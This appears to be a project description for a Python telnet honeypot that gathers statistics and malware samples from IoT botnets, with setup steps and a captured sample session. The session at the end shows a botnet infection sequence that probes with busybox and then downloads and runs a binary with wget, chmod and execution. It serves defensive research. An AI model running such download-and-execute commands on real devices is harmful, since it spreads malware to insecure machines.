Telnet IoT Honeypot - Python Telnet Honeypot For Catching Botnet Binaries


This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.
Other than https://github.com/stamparm/hontel or https://github.com/micheloosterhof/cowrie (examples), which provides full (via chroot) or simulated behaviour of a linux system this honeypots goal is just to collect statistics of (IoT) botnets. This means that the honeypot must be made to work with every form of automated telnet session, which may try to infect the honeypot with malware. Luckily, these malwares infection processes are quite simple, just using wget do download something and running it.

Architekure
The application has a client/server architekture, with a client (the actual honeypot) accepting telnet connections and a server aggregating connection data and sample analysis.
However, for local deployments, the application can also be run in local mode to eliminate the need to run a client and server locally.

Running
The application has a config file named config.py. Samples are included for local and client/server deployments.

Client/Local Mode
python honey.py

Server
python backend.py

Opening the frontend
After the server is started, open html/index.html in your favorite browser. For this to work, the url in html/apiurl.js should point to your running backend, which it should do automatically for local deployments.

Sample Connection
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit 

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